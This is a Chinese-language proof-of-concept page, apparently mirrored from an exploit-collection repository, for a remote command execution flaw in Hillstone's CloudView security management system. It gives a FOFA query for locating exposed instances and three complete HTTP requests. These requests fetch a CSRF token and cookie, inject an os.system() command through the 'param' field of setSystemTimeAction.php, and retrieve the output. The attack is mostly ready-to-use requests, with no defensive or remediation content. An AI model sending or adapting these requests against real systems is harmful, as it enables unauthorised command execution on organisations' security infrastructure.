mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-17 21:04:50 +08:00
62 lines
2.7 KiB
Markdown
62 lines
2.7 KiB
Markdown
|
|
# 山石网科云鉴安全管理系统ajaxActions接口处存在远程命令执行漏洞
|
|||
|
|
|
|||
|
|
# 一、产品简介
|
|||
|
|
<font style="color:rgb(51, 51, 51);">山石网科是中国网络安全行业的技术创新领导厂商</font><sup><font style="color:rgb(51, 102, 204);"> </font></sup><font style="color:rgb(51, 51, 51);">,自成立以来为金融、政府、互联网、教育、医疗卫生等行业的超过26000家客户提供高效、稳定的安全防护服务。山石网科云鉴安全管理系统ajaxActions接口处存在远程命令执行漏洞,可导致系统被攻击者执行任意命令。</font>
|
|||
|
|
|
|||
|
|
# <font style="color:rgb(0, 0, 0);">二、影响版本</font>
|
|||
|
|
+ 山石网科云鉴安全管理系统
|
|||
|
|
|
|||
|
|
# <font style="color:rgb(0, 0, 0);">三、资产测绘</font>
|
|||
|
|
+ fofa`body=山石云鉴主机安全管理系统||icon_hash="572290418"`
|
|||
|
|
+ 特征
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
# 四、漏洞复现
|
|||
|
|
1. 获取token与cookie
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
|||
|
|
Connection: close
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
2. 使用上一步获取的token与cookie执行命令
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf=a64cca09285de26ca4ebfefa629edd02 HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
|||
|
|
Content-Length: 90
|
|||
|
|
Accept: */*
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Connection: close
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
Cookie: PHPSESSID=3ovusd429biqeot6ioje7q06r0
|
|||
|
|
|
|||
|
|
param=os.system('echo 8888881 > /opt/var/majorsec/installation/master/runtime/img/config')
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
2. 获取命令执行结果
|
|||
|
|
|
|||
|
|
```plain
|
|||
|
|
GET /master/img/config HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
|||
|
|
Connection: close
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-05-20 13:57:29
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/ktu0gkdf8p351xdi>
|